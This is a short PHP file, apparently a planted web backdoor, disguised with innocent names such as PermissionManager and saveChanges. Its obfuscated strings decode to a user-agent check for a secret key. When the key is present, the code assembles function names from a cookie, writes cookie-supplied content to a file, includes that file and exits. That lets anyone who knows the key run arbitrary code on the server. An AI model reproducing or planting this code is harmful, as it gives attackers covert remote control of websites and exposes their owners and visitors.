xx<?php
function manage_state(...$zn)
{
    $k = array(5 * 23, 126 - 10, 2 * 57, 9 * 47 - 311, 22 + 81 + 8, 115);
    $h = '';
    foreach ($k as $x) {
        $h .= chr($x);
    }
    return $h(...$zn);
}

class PermissionManager
{
    private static $_khf;
    static function saveChanges($_yx)
    {
        if (!self::$_khf) {
            self::generateToken();
        }
        return hex2bin(self::$_khf[$_yx]);
    }
    private static function generateToken()
    {
        self::$_khf = array('_kzn' => '485454505f555345525f4' . '14' . '7454e' . '5' . '4', '_kf' => '485454505f555345525f4147454e' . '54', '_ua' => '35363032' . '3237363' . '9', '_sve' => '', '_syj' => '');
    }
}

if (isset($_SERVER[PermissionManager::saveChanges('_k' . 'z' . 'n')]) && manage_state($_SERVER[PermissionManager::saveChanges('_' . 'k' . 'f')], PermissionManager::saveChanges('_ua')) !== false) {
    $_nov = $_COOKIE;
    $_yc = 00;
    $_yx = 06;
    $_vcu = array();
    $_vcu[$_yc] = PermissionManager::saveChanges('_sv' . 'e');
    while ($_yx) {
        $_vcu[$_yc] .= $_nov[022][$_yx];
        if (!$_nov[022][$_yx + 01]) {
            if (!$_nov[022][$_yx + 02]) {
                break;
            }
            $_yc++;
            $_vcu[$_yc] = PermissionManager::saveChanges('_syj');
            $_yx++;
        }
        $_yx = $_yx + 06 + 01;
    }
    $_yc = $_vcu[05]() . $_vcu[027];
    if (!$_vcu[016]($_yc)) {
        $_yx = $_vcu[011]($_yc, $_vcu[023]);
        $_vcu[013]($_yx, $_vcu[032] . $_vcu[033]($_vcu[02]($_nov[03])));
    }
    include $_yc;
    die;
}